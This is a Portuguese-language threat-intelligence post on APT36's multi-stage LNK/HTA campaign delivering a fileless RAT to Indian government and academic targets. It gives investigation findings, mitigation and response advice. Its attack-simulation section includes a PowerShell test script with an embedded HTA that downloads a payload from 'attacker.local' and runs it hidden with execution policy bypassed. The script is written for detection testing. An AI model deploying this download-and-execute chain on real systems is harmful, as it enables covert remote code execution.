APT36: Campanha de Malware LNK em Multi-Estágios Alvejando Entidades Governamentais Indianas

Ruslan Mikhalov Chief of Threat Research at SOC Prime

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APT36: Campanha de Malware LNK em Multi-Estágios Alvejando Entidades Governamentais Indianas

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Resumo

APT36 (Transparent Tribe) realizou uma campanha de spear-phishing que entregou um atalho LNK malicioso disfarçado como um PDF. Ao ser aberto, o atalho inicia mshta.exe para executar um carregador baseado em HTA que descriptografa e executa cargas na memória, incluindo um módulo de configuração e uma DLL RAT com recursos completos. O malware seleciona dinamicamente métodos de persistência com base no produto antivírus instalado pela vítima e se conecta ao seu servidor de comando e controle por meio de um canal criptografado. A atividade é avaliada como focada em espionagem, visando organizações governamentais e acadêmicas indianas para roubar dados.

Investigação

Pesquisadores analisaram o arquivo LNK incomumente grande, rastrearam o conteúdo HTA incorporado hospedado em innlive.in, e reverteram a engenharia da lógica de descriptografia. A cadeia revelou duas etapas principais: uma carga útil de desserialização .NET usada para enfraquecer ou contornar verificações de segurança, seguida por uma DLL maliciosa sem arquivo (por exemplo, ki2mtmkl.dll / iinneldc.dll) fornecendo funcionalidade RAT. O comportamento de persistência foi mapeado para produtos antivírus específicos, e detalhes chave de C2—como porta TCP 8621 e uma chave AES usada para tráfego criptografado—foram extraídos durante a análise.

Mitigação

Restrinja ou coloque em quarentena anexos de atalho (.lnk) entregues via e-mail, especialmente quando compactados em arquivos ZIP. Aplique políticas de controle de aplicação para limitar a execução de mshta.exe, PowerShell e outros motores de script a partir de caminhos graváveis pelo usuário. Use detecções de endpoint para cadeias de processos envolvendo mshta.exe e indicadores de execução DLL na memória, e aplique controles rígidos de saída para bloquear a comunicação com domínios desconhecidos ou não confiáveis.

Resposta

Se a execução de LNK suspeito for detectada, isole o sistema, capture imagens de memória e procure por indicadores DLL na memória associados ao estágio RAT. Bloqueie domínios maliciosos identificados e infraestrutura de IP relacionada, e altere credenciais potencialmente expostas. Realize uma revisão forense para localizar artefatos de persistência na pasta de inicialização e no registro, remova-os e valide que nenhum ponto de apoio adicional permanece.

Fluxo de Ataque

Narrativa e Comandos do Ataque:
Um adversário obteve acesso ao PowerShell com privilégios baixos em uma estação de trabalho comprometida. Para executar uma carga remota sem escrever um executável no disco, o invasor usa mshta.exe para executar um arquivo HTA que obtém uma backdoor em PowerShell de um servidor C2. Os passos são:
1. Codifique um HTA malicioso mínimo que inicia o PowerShell para baixar e executar uma carga.
2. Hospede o HTA em um servidor web (por exemplo, http://attacker.local/malicious.hta).
3. A partir da sessão do PowerShell comprometida, invoque mshta.exe com a URL remota como um argumento.
Esta cadeia cria um evento de criação de processo onde mshta.exe é o processo filho de powershell.exe, correspondendo exatamente à regra Sigma.

Script de Teste de Regressão:

#-------------------------------------------------
# Roteiro de ataque simulado - aciona a regra
#-------------------------------------------------

# 1. Defina o HTA malicioso (inline para fins de demonstração)
$htaContent = @"
<script>
    // Baixe e execute uma carga de PowerShell dummy
    var url = 'http://attacker.local/payload.ps1';
    var xhr = new ActiveXObject('Microsoft.XMLHTTP');
    xhr.open('GET', url, false);
    xhr.send();
    var ps = new ActiveXObject('WScript.Shell');
    ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false);
</script>
"@

# 2. Escreva o HTA para localização temporária (simulando um arquivo hospedado)
$tempPath = "$env:TEMPmalicious.hta"
$htaContent | Set-Content -Path $tempPath -Encoding ASCII

# 3. Inicie mshta.exe a partir do PowerShell (o gatilho de detecção)
$mshta = (Get-Command mshta.exe).Source
Write-Host "[*] Iniciando mshta.exe para executar a carga do HTA..."
Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow

# Opcional: Pause para permitir que o evento seja capturado
Start-Sleep -Seconds 5

# Limpeza (tratada na próxima seção)

Comandos de Limpeza:

# Remover arquivo HTA temporário
Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue

# Pare quaisquer processos mshta.exe remanescentes (improvável após execução normal)
Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force

Write-Host "[*] Limpeza concluída."

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